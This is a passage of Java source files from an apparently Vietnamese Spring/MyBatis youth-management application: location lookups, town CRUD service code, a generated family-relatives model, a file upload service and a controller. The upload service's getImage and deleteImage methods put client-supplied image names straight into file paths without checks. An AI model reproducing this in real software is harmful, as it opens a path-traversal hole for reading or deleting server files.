} // model default report Id model.addAttribute("countryIdDefault", countryId); // Combobox City Data List<QltnMCity> cityData = new ArrayList<QltnMCity>(); try { QltnMCityExample qltnMCityExample = new QltnMCityExample(); QltnMCityExample.Criteria cityCriteria = qltnMCityExample.createCriteria(); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cityData = Sym0015Dao.getQltnMCityMapper().selectByExample(qltnMCityExample); model.addAttribute("cityData", mapper.writeValueAsString(cityData)); } catch (Exception ex) { ex.printStackTrace(); cityData = new ArrayList<QltnMCity>(); } try { model.addAttribute("cityData", mapper.writeValueAsString(cityData)); } catch (Exception ex) { model.addAttribute("cityData", ""); } // model default report Id model.addAttribute("cityIdDefault", cityId); // Combobox District Data List<QltnMDistrict> districtData = new ArrayList<QltnMDistrict>(); try { QltnMDistrictExample QltnMDistrictExample = new QltnMDistrictExample(); QltnMDistrictExample.Criteria cityCriteria = QltnMDistrictExample.createCriteria(); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); districtData = Sym0015Dao.getQltnMDistrictMapper().selectByExample(QltnMDistrictExample); model.addAttribute("districtData", mapper.writeValueAsString(districtData)); } catch (Exception ex) { ex.printStackTrace(); districtData = new ArrayList<QltnMDistrict>(); } try { model.addAttribute("districtData", mapper.writeValueAsString(districtData)); } catch (Exception ex) { model.addAttribute("districtData", ""); } // model default report Id model.addAttribute("districtIdDefault", districtId); // Combobox Wards Data List<QltnMWards> wardsData = new ArrayList<QltnMWards>(); try { QltnMWardsExample qltnMWardsExample = new QltnMWardsExample(); QltnMWardsExample.Criteria cityCriteria = qltnMWardsExample.createCriteria(); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); wardsData = Sym0015Dao.getQltnMWardsMapper().selectByExample(qltnMWardsExample); model.addAttribute("wardsData", mapper.writeValueAsString(wardsData)); } catch (Exception ex) { ex.printStackTrace(); wardsData = new ArrayList<QltnMWards>(); } try { model.addAttribute("wardsData", mapper.writeValueAsString(wardsData)); } catch (Exception ex) { model.addAttribute("wardsData", ""); } // model default report Id model.addAttribute("wardsIdDefault", wardsId); } public List<QltnMCity> getCityNameByCountryId(String countryId) { // Combobox City Data List<QltnMCity> cityData = new ArrayList<QltnMCity>(); QltnMCityExample qltnMCityExample = new QltnMCityExample(); QltnMCityExample.Criteria cityCriteria = qltnMCityExample.createCriteria(); cityCriteria.andCountryIdEqualTo(countryId); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cityData = Sym0015Dao.getQltnMCityMapper().selectByExample(qltnMCityExample); return cityData; } public List<QltnMDistrict> getDistrictNameByCityId(String countryId, String cityId) { // Combobox City Data List<QltnMDistrict> districtData = new ArrayList<QltnMDistrict>(); QltnMDistrictExample qltnMDistrictExample = new QltnMDistrictExample(); QltnMDistrictExample.Criteria districtCriteria = qltnMDistrictExample.createCriteria(); districtCriteria.andCountryIdEqualTo(countryId); districtCriteria.andCityIdEqualTo(cityId); districtCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); districtData = Sym0015Dao.getQltnMDistrictMapper().selectByExample(qltnMDistrictExample); return districtData; } public List<QltnMWards> getWardsNameByDistrictId(String countryId, String cityId, String districtId) { // Combobox wards Data List<QltnMWards> wardsData = new ArrayList<QltnMWards>(); QltnMWardsExample qltnMWardsExample = new QltnMWardsExample(); QltnMWardsExample.Criteria wardsCriteria = qltnMWardsExample.createCriteria(); wardsCriteria.andCountryIdEqualTo(countryId); wardsCriteria.andCityIdEqualTo(cityId); wardsCriteria.andDistrictIdEqualTo(districtId); wardsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); wardsData = Sym0015Dao.getQltnMWardsMapper().selectByExample(qltnMWardsExample); return wardsData; } /** * Search wards in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of wards data */ public List<Sym0015Result> searchData(Sym0015Conditions searchConditions) { List<Sym0015Result> bnn0014ResultList = new ArrayList<Sym0015Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0014ResultList = Sym0015Dao.getSym0015Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0014ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = Sym0015Dao.getSym0015Mapper().getSearchDataTotalCounts(params); bnn0014ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle city input data convertSanitize(bnn0014ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0015Result tempObj = new Sym0015Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0014ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0014ResultList = null; } return bnn0014ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0015Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // country Id params.put("countryId", searchConditions.getCountryId()); // city Id params.put("cityId", searchConditions.getCityId()); // district Id params.put("districtId", searchConditions.getDistrictId()); // district Id params.put("wardsId", searchConditions.getWardsId()); // wards Name params.put("townName", searchConditions.getTownName().equals("") ? "" : "%" + searchConditions.getTownName() + "%"); // wards Code params.put("townCode", searchConditions.getTownCode().equals("") ? "" : "%" + searchConditions.getTownCode() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle city input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0015Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0015Result currentData = inputData.get(i); // Town Name currentData.setTownName(Util.convertSanitize(currentData.getTownName())); // Town Code currentData.setTownCode(Util.convertSanitize(currentData.getTownCode())); } } /** * Update Town information to DB * * @param townData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMTown townData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in wards's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for Report input if (!checkInputBlankFields(townData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMTown wardsObj = new QltnMTown(); // Town Id wardsObj.setTownId(townData.getTownId()); // Town Name wardsObj.setTownName(townData.getTownName()); // Town Code wardsObj.setTownCode(townData.getTownCode()); // update User id wardsObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag wardsObj.setDeleteFlag(townData.getDeleteFlag()); int result = Sym0015Dao.getQltnMTownMapper().updateByPrimaryKeySelective(wardsObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert city's information to DB * * @param townData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMTown townData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in city id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in user's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for city input if (!checkInputBlankFields(townData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("townIdDefault", Constants.DEFAULT_PARAMS); String idNumberStr = Sym0015Dao.getSym0015Mapper().getLastIdTown(params); int idNumber = 0; if (idNumberStr != null) { idNumber = Integer.parseInt(idNumberStr.substring(2)); } if (idNumber < Constants.DEFAULT_ID) { idNumber = idNumber + 1; String townId = Constants.TOWN_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMTown wardsObj = new QltnMTown(); // Country Id wardsObj.setCountryId(townData.getCountryId()); // city Id wardsObj.setCityId(townData.getCityId()); // district Id wardsObj.setDistrictId(townData.getDistrictId()); // Wards Id wardsObj.setWardsId(townData.getWardsId()); // Town Id wardsObj.setTownId(townId); // Town Code wardsObj.setTownCode(townData.getTownCode()); // Town Name wardsObj.setTownName(townData.getTownName()); // create user id wardsObj.setCreateUserId(Util.getUserInfo().getID()); // update User id wardsObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag wardsObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); int result = Sym0015Dao.getQltnMTownMapper().insert(wardsObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete Town from DB * * @param townId : town's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String townId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMTown QltnMTown = new QltnMTown(); QltnMTown.setTownId(townId); QltnMTown.setDeleteFlag(Constants.DELETE_FLAG_ON); // update city id QltnMTown.setUpdateUserId(Util.getUserInfo().getID()); int result = Sym0015Dao.getQltnMTownMapper().updateByPrimaryKeySelective(QltnMTown); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get wards information based on Town's id * * @param townId : Town's id received from client * @return city data */ public QltnMTown getSingleData(String townId) { return Sym0015Dao.getQltnMTownMapper().selectByPrimaryKey(townId); } /** * Check input: blank fields * * @param townData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMTown townData) { if (townData.getTownName().equals("") || townData.getTownCode().equals("")) { return false; } else { return true; } } } ``` QltnMFamilyRelatives.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMFamilyRelatives { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.FAMILY_PERSON_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String familyPersonId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.PERSON_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String personId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.RELATION * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String relation; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.STATUS * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String status; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.BIRTH_DAY * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String birthDay; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.JOB * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String job; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.WORK_PLACE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String workPlace; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.NOTE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String note; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.CREATE_USER_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.CREATE_DATE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.UPDATE_USER_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.LAST_UPDATE_DATE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_family_relatives.DELETE_FLAG * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.FAMILY_PERSON_ID * * @return the value of qltn_m_family_relatives.FAMILY_PERSON_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getFamilyPersonId() { return familyPersonId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.FAMILY_PERSON_ID * * @param familyPersonId the value for qltn_m_family_relatives.FAMILY_PERSON_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setFamilyPersonId(String familyPersonId) { this.familyPersonId = familyPersonId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.PERSON_ID * * @return the value of qltn_m_family_relatives.PERSON_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getPersonId() { return personId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.PERSON_ID * * @param personId the value for qltn_m_family_relatives.PERSON_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setPersonId(String personId) { this.personId = personId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.RELATION * * @return the value of qltn_m_family_relatives.RELATION * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getRelation() { return relation; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.RELATION * * @param relation the value for qltn_m_family_relatives.RELATION * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setRelation(String relation) { this.relation = relation; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.STATUS * * @return the value of qltn_m_family_relatives.STATUS * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getStatus() { return status; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.STATUS * * @param status the value for qltn_m_family_relatives.STATUS * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setStatus(String status) { this.status = status; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.BIRTH_DAY * * @return the value of qltn_m_family_relatives.BIRTH_DAY * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getBirthDay() { return birthDay; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.BIRTH_DAY * * @param birthDay the value for qltn_m_family_relatives.BIRTH_DAY * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setBirthDay(String birthDay) { this.birthDay = birthDay; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.JOB * * @return the value of qltn_m_family_relatives.JOB * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getJob() { return job; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.JOB * * @param job the value for qltn_m_family_relatives.JOB * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setJob(String job) { this.job = job; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.WORK_PLACE * * @return the value of qltn_m_family_relatives.WORK_PLACE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getWorkPlace() { return workPlace; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.WORK_PLACE * * @param workPlace the value for qltn_m_family_relatives.WORK_PLACE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setWorkPlace(String workPlace) { this.workPlace = workPlace; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.NOTE * * @return the value of qltn_m_family_relatives.NOTE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getNote() { return note; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.NOTE * * @param note the value for qltn_m_family_relatives.NOTE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setNote(String note) { this.note = note; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.CREATE_USER_ID * * @return the value of qltn_m_family_relatives.CREATE_USER_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.CREATE_USER_ID * * @param createUserId the value for qltn_m_family_relatives.CREATE_USER_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.CREATE_DATE * * @return the value of qltn_m_family_relatives.CREATE_DATE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.CREATE_DATE * * @param createDate the value for qltn_m_family_relatives.CREATE_DATE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.UPDATE_USER_ID * * @return the value of qltn_m_family_relatives.UPDATE_USER_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_family_relatives.UPDATE_USER_ID * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.LAST_UPDATE_DATE * * @return the value of qltn_m_family_relatives.LAST_UPDATE_DATE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_family_relatives.LAST_UPDATE_DATE * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_family_relatives.DELETE_FLAG * * @return the value of qltn_m_family_relatives.DELETE_FLAG * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_family_relatives.DELETE_FLAG * * @param deleteFlag the value for qltn_m_family_relatives.DELETE_FLAG * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` FileUploadService.java ```package vn.youthmanager.ict.common.service; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Iterator; import org.apache.log4j.Logger; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Service; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.multipart.MultipartHttpServletRequest; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.util.Util; /** * @author Khoa Le */ @Service public class FileUploadService { private static Logger logger = Logger.getLogger(FileUploadService.class); // Variables definition private static final String LOG_INFO_PREFIX = "INFO,"; private static final String LOG_ERROR_PREFIX = "ERROR,"; /** * Process file uploaded from client * * @param request�@: MultipartHttpServletRequest * @return upload result */ public String uploadFile(MultipartHttpServletRequest request) { // variable definition String returnData = Constants.UPLOAD_RESULT_SUCCESSFUL; String fileName = ""; logger.info(LOG_INFO_PREFIX + Util.getUserInfo().getID() + ",Upload file starts"); // get file Iterator<String> itr = request.getFileNames(); MultipartFile file = request.getFile(itr.next()); // create folder if not existed File uploadFolder = new File(Constants.UPLOAD_PATH); if (!uploadFolder.exists()) { uploadFolder.mkdirs(); } // create file name DateFormat dateFormat = new SimpleDateFormat("yyyyMMddHHmmss"); Date date = new Date(); fileName = Util.getUserInfo().getID() + "_UPLOAD_" + dateFormat.format(date); // start creating file File uploadFile = new File(Constants.UPLOAD_PATH + fileName + ".jpg"); try { BufferedOutputStream stream = new BufferedOutputStream(new FileOutputStream(uploadFile)); stream.write(file.getBytes()); stream.close(); logger.info(LOG_INFO_PREFIX + Util.getUserInfo().getID() + ",Upload file successfully"); // return file name to client returnData = fileName; } catch (Exception ex) { ex.printStackTrace(); logger.error(LOG_ERROR_PREFIX + Util.getUserInfo().getID() + ",java.lang.Exception: " + ex.getMessage()); returnData = Constants.UPLOAD_RESULT_FAILED; } return returnData; } /** * Get image file from path to display on client * * @param imageName : image name received from client * @return image data in byte array */ public byte[] getImage(String imageName) { // create folder if not existed File uploadFolder = new File(Constants.UPLOAD_PATH); if (!uploadFolder.exists()) { uploadFolder.mkdirs(); } // start getting file File serverFile = new File(Constants.UPLOAD_PATH + imageName + ".jpg"); try { return Files.readAllBytes(serverFile.toPath()); } catch (IOException ex) { ex.printStackTrace(); logger.error(LOG_ERROR_PREFIX + Util.getUserInfo().getID() + ",java.io.IOException: " + ex.getMessage()); return null; } } /** * Delete image file based on image name * * @param imageName : image name received from client * @return String : delete successfully: 1/delete failed: -1 */ public String deleteImage(String imageName) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // create folder if not existed File uploadFolder = new File(Constants.UPLOAD_PATH); if (!uploadFolder.exists()) { uploadFolder.mkdirs(); } // start getting file File serverFile = new File(Constants.UPLOAD_PATH + imageName + ".jpg"); if (!serverFile.delete()) { // delete failed returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Show full image on client * * @param imageName : image name received from client * @return image data in ResponseEntity */ public ResponseEntity<byte[]> showImage(String imageName) { // get image as byte array byte[] media = getImage(imageName); // return image to client with headers HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.IMAGE_JPEG); ResponseEntity<byte[]> responseEntity = new ResponseEntity<byte[]>(media, headers, HttpStatus.OK); return responseEntity; } } ``` Sym0043Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.List; import java.util.Locale; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.common.db.model.QltnMGroups; import vn.youthmanager.ict.common.db.model.QltnMSpecialized; import vn.youthmanager.ict.common.db.model.QltnMTown; import vn.youthmanager.ict.common.db.model.QltnMUniversity; import vn.youthmanager.ict.common.db.model.QltnMWards; import vn.youthmanager.ict.youth.service.Sym0040Service; import vn.youthmanager.ict.youth.service.Sym0043Service; @Controller @RequestMapping(value= "/0043") public class Sym0043Controller { @Autowired private Sym0043Service sym0043Service; @Autowired private Sym0040Service sym0040Service; @RequestMapping(value= "/", method = RequestMethod.GET) public String topGet (Locale locale, Model model) { sym0043Service.initData(model); return "youth/0043"; } @RequestMapping(value= "/getDetailReport", method = RequestMethod.POST) public @ResponseBody List<QltnMDetailReport> getDetailReport(@RequestParam(value = "reportId") String reportId) { return sym0043Service.getDetailReport(reportId); } /** * Get data for City combobox by Country id * * @param country : data received from client * @return City data */ @RequestMapping(value = "/getCityDataByCountryId", method = RequestMethod.POST) public @ResponseBody List<QltnMCity> getCityDataByCountryId(@RequestParam(value = "countryId") String countryId) { return sym0040Service.getCityNameByCountryId(countryId); } /** * Get data for District combobox by Country id and cityId * * @param countryId : data received from client * @param cityId : data received from client * @return District data */ @RequestMapping(value = "/getDistrictDataByCityId", method = RequestMethod.POST) public @ResponseBody List<QltnMDistrict> getDistrictDataByCityId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId) { return sym0040Service.getDistrictNameByCityId(countryId, cityId); } /** * Get data for Wards combobox by Country id and cityId and DistrictId * * @param countryId : data received from client * @param cityId : data received from client * @param districtId : data received from client * @return Wards data */ @RequestMapping(value = "/getWardsDataByDistrictId", method = RequestMethod.POST) public @ResponseBody List<QltnMWards> getWardsDataByDistrictId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId,@RequestParam(value = "districtId") String districtId) { return sym0040Service.getWardsNameByDistrictId(countryId, cityId, districtId); } /** * Get data for Town combobox by Country id and cityId and DistrictId and wadrsId * * @param countryId : data received from client * @param cityId : data received from client * @param districtId : data received from client * @param wadrsId : data received from client * @return Town data */ @RequestMapping(value = "/getTownDataByWardsId", method = RequestMethod.POST) public @ResponseBody List<QltnMTown> getTownDataByWardsId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId, @RequestParam(value = "districtId") String districtId, @RequestParam(value = "wardsId") String wardsId) { return sym0040Service.getTownNameByWardsId(countryId, cityId, districtId, wardsId); } /** * Get data for Town combobox by Country id and cityId and DistrictId and wadrsId * * @param countryId : data received from client * @param cityId : data received from client * @param districtId : data received from client * @param wadrsId : data received from client * @param townId : data received from client * @return Town data */ @RequestMapping(value = "/getGroupsDataByTownId", method = RequestMethod.POST) public @ResponseBody List<QltnMGroups> getGroupsDataByTownId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId, @RequestParam(value = "districtId") String districtId, @RequestParam(value = "wardsId") String wardsId, @RequestParam(value = "townId") String townId) { return sym0043Service.getGroupsDataByTownId(countryId, cityId, districtId, wardsId, townId); } /** * Get data for Specialized combobox by University id * * @param countryId : data received from client * @return Town data */ @RequestMapping(value = "/getSpecializedDataByUniversityId", method = RequestMethod.POST) public @ResponseBody List<QltnMSpecialized> getSpecializedDataByUniversityId(@RequestParam(value = "universityId") String universityId) { return sym0040Service.getSpecializedDataByUniversityId(universityId); } @RequestMapping(value = "/getUniversityDataByEducationId", method = RequestMethod.POST) public @ResponseBody List<QltnMUniversity> getUniversityDataByEducationId(@RequestParam(value = "educationId") String educationId) { return sym0040Service.getUniversityDataByEducationId(educationId); } } ``` Sym0053Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0053Result; public interface Sym0053Mapper { List<Sym0053Result> getNoteReport(Map<String, Object> params); List<Sym0053Result> getCriteria(Map<String, Object> params); } ``` Sym0040Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCategoryMapper; import vn.youthmanager.ict.common.db.mapper.QltnMCityMapper; import vn.youthmanager.ict.common.db.mapper.QltnMCountryMapper; import vn.youthmanager.ict.common.db.mapper.QltnMDetailReportMapper; import vn.youthmanager.ict.common.db.mapper.QltnMDistrictMapper; import vn.youthmanager.ict.common.db.mapper.QltnMEducationalMapper; import vn.youthmanager.ict.common.db.mapper.QltnMGroupsMapper; import vn.youthmanager.ict.common.db.mapper.QltnMPersonMapper; import vn.youthmanager.ict.common.db.mapper.QltnMReportMapper; import 